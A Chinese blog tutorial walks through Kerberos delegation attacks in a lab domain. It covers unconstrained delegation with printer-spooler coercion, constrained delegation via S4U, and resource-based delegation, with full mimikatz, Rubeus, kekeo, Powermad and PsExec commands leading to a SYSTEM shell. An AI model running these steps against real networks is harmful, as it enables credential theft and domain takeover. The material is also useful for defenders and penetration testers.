一文带你揭秘委派攻击真相

已于 2024-03-11 22:31:56 修改
阅读量838 收藏 21
点赞数 25
文章标签： 网络 网络安全 安全
于 2024-03-06 11:05:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_62169455/article/details/136499820
版权

0x01 委派的概念和分类

基本概念：自Windows2000 开始，微软添加了委派功能。域委派是一种应用模式，指的是将域内用户的权限委派给服务账户，使得服务账户能以用户权限访问域内的其他服务。

大致流程，可参考下图：

图片

关于委派，需要注意以下两点：

能否委派，取决于用户所请求的服务系统有没有被设置成委派

在域内，只有机器账户和注册了SPN的域用户才具有委派的属性

分类：

非约束委派

约束委派

基于资源的约束性委派

0x02 非约束委派

基本概念：服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务，被配置为非约束委派的系统将把TGT存储到LSASS内存中，以便使用用户能够访问终端资源。

触发条件：一定是域管去访问配置委派的服务

非约束委派设置以及查询

这里用机器账户来演示：（域控是默认设置了非约束性委派的）

图片

利用ADfind进行查询: （如果是工作组机器需要提供用域名和密码，如果是用域用户就不需要提供）

AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -d

利用powershell脚本查询

#Powershell下Import-Module .\PowerView.ps1#查询域中配置了非约束性委派的主机Get-NetComputer -Unconstrained -Domain abc.com#查询域中配置了非约束性委派的服务账户Get-NetUser -Unconstrained -Domain abc.com | select name
#CS下powershell-import .\PowerView.ps1#查询域中配置了非约束性委派的主机powershellGet-NetComputer -Unconstrained -Domain abc.com#查询域中配置了非约束性委派的服务账户powershell Get-NetUser -Unconstrained -Domain abc.com | select name

利用钓鱼进行委派攻击

原理：基于Windows的特性--当不提供账号密码时，会以当前账号密码进行认证

通过钓鱼（将命令写为bat文件、发邮件等），来诱导域管访问被控主机：

net use \\ww-pc.abc.com\c$       一定要走Kerberos认证协议

mimikatz:

privilege::debugsekurlsa: : tickets / export

发现存在administrator票据

图片

导出的票据，通过PTT，就可以访问域内任意机器，这时就可以利用一系列横向手法来进行横向移动（如：WMI、Winrm、计划任务、服务、DCOM、psexec等）

Kerberos::PTT [0;671ae]-2-0-60a10000-Administrator@krbtgt-ABC.COM.kirbi

图片

利用打印机漏洞进行委派攻击

一般来讲，域管是不会主动访问被控主机的，因此这里可以利用Windows打印系统远程协议（MS-RPRN）中的默认启动的方法，在该方法中，域用户可以使用MS-RPRN方法强制任何运行了Spooler服务的计算机通过Kerberos或者NTLM对攻击者选择的目标进行身份验证。

原理：设置非约束委派的主机结合Spooler打印机服务漏洞，让域控机器DC强制访问已控的具有本地管理员权限的非约束委派机器，从而拿到域控的机器用户hash，进而控制整个域。

先利用Rubeus在被控主机（ph）上监听DC的登录信息

Rubeus.exe monitor /interval:1 /filteruser:DC$

再利用SpoolSample强制域控打印机回连

SpoolSample.exe DC ph

然后Rubeus就可以监听到域控DC的TGT，这里由于自身环境的原因，这里无法进一步操作，后面的操作流程大致说一下：

得到域控TGT后，后面就可以采用金票，PTH、PTT等方式进行横向即可

0x03 约束委派

基本概念：由于非约束委派的不安全性或场景受限，微软服务于2007年为Kerberos协议进行扩展引入S4U(service for user)协议，该协议分为两个子协议：

  1. S4U2self (Service for User to Self)

  2. S4U2proxy (Service for User to Proxy)

这两个扩展允许服务代表用户从KDC请求票据

约束委派限制了S4U2proxy协议的请求范围，使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

S4U2self和S4U2proxy协议

为了便于大家的理解，这里通过下面的流程图来讲解：

图片

用户A访问web系统，web系统使用自己的服务账号申请一张TGT,然后代表A去向KDC申请访问自己ST1--这里就使用到了S4U2self协议，用户A拿到ST1就可以访问web系统。

如果web系统上设置了约束委派，那么web系统就可以使用S4U2proxy协议将申请到的ST1票据，以用户A的身份向KDC申请访问文件系统的票据ST2,这样web系统就可以以用户A的身份访问文件系统

约束委派设置以及查询

同样的这里只有机器账户和域用户（注册SPN的域用户）才有委派属性

图片

查询设置委派的机器：

利用ADfind进行查询：

AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

图片

利用powershell脚本查询​​​​​​​

 Import-Module .\Powerview.ps1 #查询机器账号 Get-DomainComputer -TrustedToAuth -Domain abc.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
 #查询服务账号 Get-DomainUser –TrustedToAuth -domain abc.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl

图片

利用机器账号进行约束委派攻击

首先肯定是在被控主机上查询被设置约束委派的机器用户，然后查询机器用户的hash值：​​​​​​​

#在机器用户上直接查询  需要先提权privilege::debugsekurlsa::logonPasswords#使用dcsync方式查询privilege::debuglsadump::dcsync /domain:abc.com /user:ww-pc$

图片

利用机器账户的hash值，申请TGT票据​​​​​​​

#Rubeus工具Rubeus.exe asktgt /user:机器用户名 /rc4:NTLM-HASH /domain:域名 /dc:域控域名 /nowrap#kekeo工具kekeo.exe "tgt::ask /user:机器用户名 /domain:域名 /NTLM:NTLM-HASH" "exit"eg:kekeo.exe "tgt::ask /user:ww-pc$ /domain:abc.com /NTLM:379e9e856567a1e40d8ef6dc7857d805" "exit"

图片

利用申请到的TGT再去申请ST

kekeo.exe "tgs::s4u /tgt:TGT票据 /user:Administrator@域名 /service:委派的SPN" "exit"

图片

将生成的票据注入内存：

mimikatz.exe "kerberos::ptt 票据名" "exit"

图片

接下来就可以上传木马到域控上执行

这里使用域用户进行约束委派攻击方式与上面方式差不多，可自行尝试

补充：

这里获得域用户的hash可以使用域内密码喷洒，Roasting攻击（前提是需要设置不需要Kerberos域认证才可以），Kerberosting攻击方式都可以

基于资源的约束性委派(RBCD)

基本概念：微软在Windows Server 2012中新引入基于资源的约束性委派，基于资源的约束性委派不需要通过域管理员进行修改，而是将设置属性的权限给了服务资源本身。可以简单理解为基于资源的约束性委派就是传统约束委派的反向过程。

RBCD设置方式

实验环境：

域控：win server 2012 R2  192.168.24.10  

目标主机：win server 2016  192.168.24.102  ph-pc

域内主机：win7  192.168.24.50

委派机器账户：anna$

使用AdExplorer连接域控，之后在PH-PC的安全属性中为hp用户赋予写权限，接着以普通域用户ph登录win server2016主机

接下来还需要去创建一个机器账户（账号：anna,密码：admin!@#45），使用Powermad.ps1脚本来创建​​​​​​​

Import-Module .\Powermad.ps1New-MachineAccount -MachineAccount anna -Password $(ConvertTo-SecureString "admin!@#45" -AsPlainText -Force)
验证是否创建成功：net group "domain computers" /domain

图片

接着配置anna到ph-pc的RBCD​​​​​​​

#先获取sid值Get-NetComputer "anna"
#设置变量值$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1604209046-237365663-1700766889-1608)";
#转换为16进制$SDBytes = New-Object byte[]($SD.BinaryLength);$SD.GetBinaryForm($SDBytes,0);
#设置RBCDGet-DomainComputer ph-pc.abc.com| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#验证Get-DomainComputer ph-pc.abc.com -Properties msds-allowedtoactonbehalfofotheridentity#清除RBCDSet-DomainObject ph-pc.abc.com -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

图片

查询配置RBCD的机器，利用adfind​​​​​​​

#机器用户AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn#域用户AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

RBCD利用

接着上面讲到的RBCD设置方式，这里使用Rubeus来进行请求白银票据

因为Rubeus是不支持明文的，所以先把它转换为hash

Rubeus.exe hash /user:anna /password:admin!@#45 /domain:abc.com

图片

然后用anna$的hash请求白银票据并导入到当前会话中

Rubeus.exe s4u /user:anna$ /rc4:518B98AD4178A53695DC997AA02D455C /impersonateuser:administrator /msdsspn:cifs/ph-pc.abc.com /ptt

图片

图片

访问ph-pc

图片

如果想直接拿到shell的话，还需要去申请一个host服务

Rubeus.exe s4u /user:anna$ /rc4:518B98AD4178A53695DC997AA02D455C /impersonateuser:administrator /msdsspn:host/ph-pc.abc.com /ptt

查看生成票据

图片

再将该票据导入，就可以拿到ph-pc的shell

PsExec64.exe \\ph-pc -s cmd

图片

这里就直接拿到了目标机器的shell,且权限是system权限

扫描下方二维码，关注公众号【赤鸢安全】，回复【240304】即可获得文章所涉及全部工具

​​​​​​​

香芋味儿的霜
关注
  • 25
    点赞
  • 踩
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一文带你了解MEMD技术
01-20
机电系统（MEMS）是一种技术，其  一般的形式可以定义为使用微细加工技术制成的小型机械和机电元件（即设备和结构）。MEMS 器件的关键物理尺寸可能从尺寸范围下端的一微米以下到几毫米不等。同样，MEMS 装置的类型可以从没有运动元件的相对简单的结构到在集成微电子学的控制下具有多个运动元件的极其复杂的机电系统而变化。MEMS 的一个主要标准是至少有一些元件具有某种机械功能，无论这些元件是否可以移动。用于定义 MEMS 的术语在世界各地有所不同。在美国，它们主要被称为 MEMS，而在世界其他地区，它们被称为“微系统技术”或“微机械设备”。　　尽管 MEMS 的功能元件是小型化的结构，传感器，致动器
一文带你读懂计算机视觉
01-27
最近，我已经阅读了很多与计算机视觉相关的资料并做了大量实验，这里介绍了在该领域学习和使用过程中有意思的内容。近年来，计算机视觉取得了很大进展。这些是我将在这里提到的主题：技术：人脸检测：Haar，HOG，MTCNN，Mobilenet人脸识别：CNN，Facenet目标识别：alexnet，inceptionnet，resnet迁移学习：在一个新场景上用很少的资源重新训练大型神经网络图像分割：rcnn生成式对抗网络计算机视觉所需硬件：选择什么，关键是GPU集成视觉的UI应用程序：ownphotos应用：个人图片整理自动驾驶汽车自动无人机验证码识别/OCR过滤网站/应用程序上的图片自动标记应
一文带你了解云原生
02-23
自进入云计算时代后，大量的新概念、新技术如雨后春笋般的涌现出来，从早期的openstack、IAAS平台，到中期的容器技术、微服务架构，再到现在的servicemesh服务网格技术、serverless无服务器架构、云原生技术，可谓在云计算的时代，我们从未停下前进的步伐。而今天要给大家带来的便是云原生技术～那么什么是云原生呢？我们将名词拆成两部分—云、原生，这些是相对于本地应用来的，云是相对于本地而言的，传统的应用都是运行在本地机房的服务器上，而云的应用则是运行在云端（如IAAS、PAAS、SAAS）。原生就是亲生的、土生土长的意思，即应用一诞生就是基于云的，可以直接在云平台上运行或非常轻松的
一文带你了解半导体硅晶片
01-20
硅片是生产集成电路的主要原材料。硅片尺寸越大则每片硅片上可以制造的芯片数量就越多，从而制造成本就越低。硅片尺寸的扩大和芯片线宽的减小是集成电路行业技术进步的两条主线。目前12寸硅片的出货量占比超过60％，是目前主流的硅片尺寸。 　　半导体硅片通常由高纯度的多晶硅锭釆用查克洛斯法（CZ Method）为主拉成不同电阻率的硅单晶锭，然而经过晶体定向→外圆滚磨→加工主、副参考面→切片→倒角→热处理→研磨→化学腐蚀→抛光→清洗→检测→包装等工序。 　　根据硅纯度的不同要求，可分为太阳能等级99，9999％，6个“9”纯度，以及半导体等级11个“9”。本文只涉及半导体用的硅片。
一文带你了解三大开源关系型数据库：SQLite、MySQL和PostgreSQL
dvlinker的技术专栏
10-08 4万+
一文带你了解三大开源关系型数据库：SQLite、MySQL和PostgreSQL。
一文带你走进网络编程
m0_71956038的博客
12-02 5万+
什么是网络编程:就是用来实现网络互通的不同计算机运行程序之间进行数据的交换的编程。
一文带你了解React框架
官方推荐
04-30 5万+
前言 由于 React的设计思想极其独特，属于革命性创新，性能出众，代码逻辑却非常简单。所以，越来越多的人开始关注和使用，认为它可能是将来 Web 开发的主流工具。 这个项目本身也越滚越大，从最早的UI引擎变成了一整套前后端通吃的 Web App 解决方案。衍生的 React Native 项目，目标更是宏伟，希望用写 Web App 的方式去写 Native App。如果能够实现，整个互联网行业都会被颠覆，因为同一组人只需要写一次UI ，就能同时运行在服务器、浏览器和手机。 React主要用于构建UI。你
一文带你了解推荐系统常用模型及框架
热门推荐
timerring的博客
07-31 11万+
通过对用户之间的关系，用户对物品的评价反馈一起对信息进行筛选过滤，从而找到目标用户感兴趣的信息。用户—商品的评分矩阵（该矩阵很可能是稀疏的）用户\物品xxxxxx行向量表示每个用户的喜好，列向量表明每个物品的属性余弦相似度皮尔逊相关系数欧氏距离曼哈顿距离主要有基于用户的协同过滤与基于物品的协同过滤。.........
一文带你了解爬虫
猪哥
06-25 2万+
前段时间我妈突然问我：儿子，爬虫是什么？我当时既惊讶又为难，惊讶的是为什么我妈会对爬虫好奇？为难的是我该怎么给她解释呢？ 老板：小明给你个重要任务。 小明：就算996我也在所不辞（第一次接到老板的直接需求）！ 老板：你能不能搞到竞争对手的商品价格？ 小明：没问题（牛逼先吹出去），小事！ 老板：这可不是小事，只要你能持续获取竞品价格，我们就可以标价低于他们，持续如此大家就知道我们的价格肯定是比他们...
一文带你轻松掌握多种编程范式
神技圈子的博客
12-14 2万+
前言 编程范式有多种，主要有结构化的程序设计思想、对于对象的程序设计思想、面向对象的程序设计思想、基于接口的程序设计思想。那么这些范式各是什么意思呢？别着急，我们通过一个加法器的例子来逐一说明。 结构化程序的设计思想 我们来实现一个加法器，在这个加法器中已经保存了被加数，现在需要传递加数到加法器。如果你是一个C语言开发，第一反应多半是，这个很简单啊，用一个结构体来保存被加数，然后再外带一个加法函数就行了啊 代码中，结构体Augend保存了加法器的被加数，具体而言，就是由iAugend保存，第9至12行给出
FR-TSN4206获得“时间敏感网络产业链名录计划”测试认证证书，TSN交换机助力智能工业发展
fiberroad的博客
04-30 465
TSN技术，即时间敏感网络技术，已成为智能工业、自动驾驶等领域的核心。它通过时钟同步、数据调度等功能，确保低延迟、高可靠性的数据传输。为推动TSN技术在我国的发展，工业互联网产业联盟联合多家单位启动了“时间敏感网络产业链名录计划”。光路科技的FR-TSN4206交换机成功通过该计划认证
java线上问题排查之磁盘和网络查看分析（二）
wayne_youlu的博客
04-30 467
overflowed 标识全连接队列溢出的次数,最前面是0，标识没有队列溢出的情况，网络环境正常。来查看网络是否连接。如果出现下图内容，则证明网络已经连接。
使用AnaTraf监控企业网络性能并诊断网络问题
anatraf_168的博客
05-06 223
随着网络流量的不断增长和应用程序的复杂性不断提高，企业需要一种有效的方法来监控其网络性能并诊断任何可能出现的问题。AnaTraf网络流量分析仪是一款功能强大的工具，可以帮助企业满足其 NPMD 需求。它是一款高性能的实时网络流量分析工具，可用于全流量回溯分析、网络流量监控、网络性能分析和快速排除网络故障。
前端调用WebSocket协议接口获取数据
m0_56023096的博客
04-29 438
createWs("测试数据", (res) => {
解密SSL/TLS：密码套件扫描仪的深度解析(C/C++代码实现)
最新发布
chen1415886044的博客
05-06 371
SSL/TLS协议是网络安全中不可或缺的一部分，它们为网络通信提供了传输层的数据安全。 首先，来了解一下SSL和TLS的概念。SSL（安全套接字层）是一种早期的安全协议，它的主要目的是在Web服务器和Web浏览器之间创建加密连接。而TLS（传输层安全性）是SSL的后继者，它在SSL的基础上进行了改进和标准化，目前被广泛使用以确保互联网通信的私密性和数据安全性。 接下来，深入探讨一下SSL/TLS协议的基础构成。SSL/TLS协议主要分为两层，底层是记录协议，负责使用对称密码对消息进行加密。
网络安全实训Day16
Yisitelz的博客
04-26 2028
网络空间安全第16天学习笔记。漏洞扫描；内网渗透
专注 APT 攻击与防御—基于UDP发现内网存活主机
weixin_62641226的博客
05-06 307
UDP（User Datagram Protocol）是一种无连接的协议，在第四层-传输层，处于IP协议的上一层。UDP有不提供数据包分组、组装和不能对数据包进行排序的缺点，也就是说，当报文发送之后，是无法得知其是否安全完整到达的。
Linux内核常用调优参数
虫虫的博客
04-30 845
Linux内核常用调优参数
一文带你学会使用eclipse
05-03
Eclipse是一个开放源代码的集成开发环境（IDE），可用于Java开发，但也可以用于其他编程语言的开发。在本文中，我将向你展示如何使用Eclipse进行Java开发。 1. 下载Eclipse 首先，你需要从Eclipse官方网站下载Eclipse IDE。下载页面上将提供几个不同的版本，包括Eclipse IDE for Java Developers、Eclipse IDE for JavaScript and Web Developers，以及Eclipse IDE for C/C++ Developers等。选择适合你的版本，然后按照安装向导进行安装。 2. 创建Java项目 一旦你安装了Eclipse，你可以启动它并创建一个新的Java项目。选择“File”->“New”->“Java Project”，然后按照向导创建一个新的Java项目。在创建项目时，你需要指定项目名称、项目类型以及JRE版本等信息。 3. 创建Java类 一旦你创建了一个Java项目，你就可以创建一个Java类。选择你的Java项目，在“src”文件夹上右键单击，然后选择“New”->“Class”。输入类名和选择要继承的类（如果有的话），然后点击“Finish”。 4. 编写Java代码 现在你已经创建了一个Java类，可以开始编写Java代码了。在Eclipse的编辑器中，你可以输入Java代码并保存它。当你保存Java文件时，Eclipse会自动编译你的代码，并在Problems视图中显示任何编译错误。 5. 运行Java程序 一旦你编写了Java代码并保存了它，你可以运行Java程序。右键单击Java文件，然后选择“Run As”->“Java Application”。如果一切顺利，你的Java程序将在控制台中输出结果。 6. 调试Java程序 如果你的Java程序出现了错误或不按预期运行，你可以使用Eclipse的调试器来调试它。在Eclipse的编辑器中，你可以设置断点并启动调试器。当程序执行到断点时，调试器会暂停程序并允许你检查变量、运行代码等。 7. 导入外部JAR包 有时，你可能需要使用外部JAR包来完成你的Java项目。在Eclipse中，你可以简单地将外部JAR包导入到你的项目中。右键单击Java项目，然后选择“Build Path”->“Configure Build Path”。在“Libraries”选项卡上，你可以添加外部JAR包。 总结 在本文中，我们介绍了如何使用Eclipse进行Java开发。我们学习了如何创建Java项目、创建Java类、编写Java代码、运行Java程序、调试Java程序以及导入外部JAR包。Eclipse具有强大的功能，可以大大提高Java开发的效率。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值